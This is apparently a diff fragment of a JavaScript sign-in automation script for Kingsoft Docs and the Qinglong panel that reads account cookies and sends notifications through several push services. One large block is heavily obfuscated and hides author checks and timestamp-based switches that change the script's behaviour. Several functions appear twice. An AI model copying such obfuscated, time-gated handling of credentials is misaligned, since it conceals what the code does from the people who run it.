写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 